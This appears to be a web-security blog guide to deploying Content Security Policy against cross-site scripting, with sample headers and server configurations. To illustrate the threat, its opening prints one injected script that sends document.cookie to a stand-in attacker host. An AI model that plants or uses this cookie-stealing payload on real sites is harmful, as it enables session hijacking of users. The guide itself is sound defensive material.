Cross-Site Scripting (XSS) remains one of the most common — and dangerous — attacks on the web. It allows attackers to inject malicious scripts into your application, potentially stealing user data, hijacking sessions, or performing actions on behalf of users.
The uncomfortable truth?
Most applications are still vulnerable to XSS.
But there is one powerful defense that significantly reduces this risk:
Content Security Policy (CSP)
In this guide, you'll learn:
- What CSP really is (beyond the definition)
- How it prevents real-world attacks
- How to implement it correctly
- Common mistakes that break applications
- A production-ready CSP setup
The Problem: What XSS Actually Looks Like
Imagine a simple comment system:
<div class="comment">
<script>
fetch("https://attacker.com/steal?cookie=" + document.cookie);
</script>
</div>If your application doesn't properly sanitize inputs, an attacker can inject this script.
What happens next?
User visits page
↓
Malicious script executes
↓
User cookies are stolen
↓
Attacker hijacks sessionWithout protection, the browser blindly executes this code.
The Solution: Content Security Policy (CSP)
Content Security Policy (CSP) is a browser security mechanism that allows you to control:
Which resources are allowed to load and execute
Instead of trusting everything, you explicitly define:
- Which scripts can run
- Which domains can load resources
- Whether inline scripts are allowed
How CSP Works (Visual Breakdown)
Here's what happens with CSP enabled:
Browser requests page
↓
Server responds with CSP header
↓
Browser enforces rules
↓
Malicious scripts are blocked ❌
↓
Only trusted resources execute ✅Example CSP header:
Content-Security-Policy:
default-src 'self';
script-src 'self' https://trusted-cdn.com;
object-src 'none';Key CSP Directives (What Actually Matters)
- default-src: Fallback for all resource types.
default-src 'self'; - script-src (Most Important):
script-src 'self'https://trusted-cdn.com; - style-src: Controls CSS sources.
- img-src: Controls image loading.
- connect-src: Controls API calls (fetch, XHR, WebSockets).
- frame-ancestors: Prevents clickjacking
frame-ancestors 'none';
Modern Note (Important Update)
child-src is now largely deprecated
Use:
• frame-src
• worker-src
Real-World CSP Example (Production-Ready)
Here's a more realistic policy:
Content-Security-Policy:
default-src 'self';
script-src 'self' https://cdn.example.com;
style-src 'self' 'unsafe-inline' https://fonts.googleapis.com;
font-src 'self' https://fonts.gstatic.com;
img-src 'self' data:;
connect-src 'self' https://api.example.com;
object-src 'none';
frame-ancestors 'none';How to Implement CSP
1. Using HTTP Headers (Recommended)
import express from 'express';
import helmet from 'helmet';
const app = express();
app.use(
helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", "https://trusted-cdn.com"],
objectSrc: ["'none'"],
styleSrc: ["'self'", "https://trusted-styles.com"],
},
})
);2. Using Nginx
add_header Content-Security-Policy "default-src 'self'; script-src 'self' https://cdn.example.com;" always;
3. Using Apache
Header set Content-Security-Policy "default-src 'self'; script-src 'self' https://cdn.example.com;"
4. Using Meta Tags (Not Recommended)
<meta http-equiv="Content-Security-Policy" content="default-src 'self';">
Less secure and easier to bypass.
Safe Deployment Strategy (IMPORTANT)
Step 1: Start in Report-Only Mode Content-Security-Policy-Report-Only: default-src 'self';
This logs violations without breaking your app.
Step 2: Monitor Violations User action → CSP violation → Report sent → Analyze → Fix
Step 3: Gradually Enforce
Move from: Report-Only → Enfoced Policy
Inline Scripts: The Biggest Pitfall
Inline scripts are dangerous:
<script>
alert("This is risky");
</script>Solution: Use Nonces
<script nonce="abc123">
console.log("Safe script");
</script>And: scri[t-src 'self' 'nonce-abc123'
Alternative: Hashes script-src 'self' 'sha256-abc123...'
Common Mistakes (Avoid These)
1. Using * in CSP script-src *;Completely defeats the purpose.
2. Allowing 'unsafe-inline' Everywhere: Weakens protection significantly.
3. Not Using Report-Only Mode First: Can break production apps.
4. Forgetting connect-src:API calls may silently fail.
5. Ignoring Third-Party Scripts: Analytics, ads, and embeds often require careful whitelisting.
CSP Is Not a Silver Bullet
CSP does not replace:
- Input validation
- Output encoding
- Secure coding practices
Think of CSP as a last line of defense, not the only one.
Final Thoughts
CSP is one of the most powerful tools available for protecting modern web applications — but it's often underused or misconfigured.
If implemented correctly, CSP can:
- Block malicious scripts
- Reduce attack surface
- Add a strong safety net to your application
Key Takeaway
CSP doesn't fix vulnerabilities — but it limits the damage when things go wrong.
And in today's web, that can make all the difference.
If you found this useful, you can follow me for more deep dives into web security and scalable system design.